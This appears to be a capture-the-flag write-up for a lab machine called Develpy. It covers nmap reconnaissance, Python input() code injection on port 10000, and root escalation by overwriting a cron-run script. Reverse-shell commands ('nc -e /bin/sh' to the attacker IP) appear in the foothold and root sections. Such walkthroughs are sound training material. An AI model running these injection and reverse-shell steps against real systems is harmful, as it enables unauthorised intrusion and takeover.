Title here
Summary here
Develpy
December 31, 20224 minutes
Attacker IP = 10.10.10.10
Target IP = 10.10.139.165
Reconnaissance
First of all, we check whether the machine is up and which OS it runs
❯ ping -c 1 10.10.139.165
PING 10.10.139.165 (10.10.139.165) 56(84) bytes of data.
64 bytes from 10.10.139.165: icmp_seq=1 ttl=63 time=50.4 ms
--- 10.10.139.165 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 50.434/50.434/50.434/0.000 ms
In this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is most likely Linux
Port scan (nmap)
Now we start with a port scan
nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.139.165 -oG allPorts
| Parameter | Purpose |
|---|---|
| -p- | Scan all ports (65536) |
| –open | Only report open ports |
| -sS –min-rate 5000 | Set the scan speed |
| -n | Skip DNS resolution |
| -vvv | Print findings to the console as they come |
| -Pn | Skip host discovery |
| -oG allPorts | Save the scan in grepable format to a file called allPorts |
With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way
extractPorts function by @s4vitar
❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.139.165
5 │ [*] Open ports: 22,10000
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴─────────────────────────────────────────────────────────────────────────────────────────
Now, with nmap, we try to find the versions of the services on those ports and run basic reconnaissance scripts
❯ nmap -p22,10000 -sC -sV 10.10.139.165
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 78c44084f442138e79f86be46dbfd446 (RSA)
| 256 259df329a2624b24f28336cfa775bb66 (ECDSA)
|_ 256 e7a007b0b9cb74e9d6167d7a67fec11d (ED25519)
10000/tcp open snet-sensor-mgmt?
| fingerprint-strings:
| GenericLines:
| Private 0days
| Please enther number of exploits to send??: Traceback (most recent call last):
| File "./exploit.py", line 6, in <module>
| num_exploits = int(input(' Please enther number of exploits to send??: '))
| File "<string>", line 0
| SyntaxError: unexpected EOF while parsing
| GetRequest:
| Private 0days
| Please enther number of exploits to send??: Traceback (most recent call last):
| File "./exploit.py", line 6, in <module>
| num_exploits = int(input(' Please enther number of exploits to send??: '))
| File "<string>", line 1, in <module>
| NameError: name 'GET' is not defined
| HTTPOptions, RTSPRequest:
| Private 0days
| Please enther number of exploits to send??: Traceback (most recent call last):
| File "./exploit.py", line 6, in <module>
| num_exploits = int(input(' Please enther number of exploits to send??: '))
| File "<string>", line 1, in <module>
| NameError: name 'OPTIONS' is not defined
| NULL:
| Private 0days
|_ Please enther number of exploits to send??:
Port 10000
When we connect to port 10000 with nc, this message appears:
❯ nc 10.10.139.165 10000
Private 0days
Please enther number of exploits to send??:
If we enter a letter instead of a number, we get an error. In that error we can see the program is written in Python and is called exploit.py. We may be able to inject code into a program that waits for user input and then interprets it as a variable.
If we try running this: __import__('os').system('whoami'), it returns the user king
❯ nc 10.10.139.165 10000
Private 0days
Please enther number of exploits to send??: __import__('os').system('whoami')
king
Exploit started, attacking target (tryhackme.com)...
Foothold
Since we have seen that we can inject code, we are going to try to send ourselves a reverse shell.
First we listen on port 443 with netcat like this: nc -nvlp 443
Then, in exploit.py, we enter __import__('os').system('nc -e /bin/sh 10.10.10.10 443')
Privilege escalation
TTY upgrade
Before we start, to work more comfortably, the first thing to do is upgrade the TTY…
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset
xterm
export SHELL=bash
export TERM=xterm
user.txt
The user.txt flag is in /home/king/user.txt and we can read it with cat /home/king/user.txt
root.txt
With cat /etc/crontab we can see that the root.sh file is being run continuously by the root user. We don’t have write permissions on root.sh, but what we can do is delete it, create a file with the same name and put the following code inside
#!/bin/bash
nc -e /bin/sh 10.10.10.10 442
And we listen with netcat on port 442
After a few seconds we get the connection and we are root. We can read the flag with cat /root/root.txt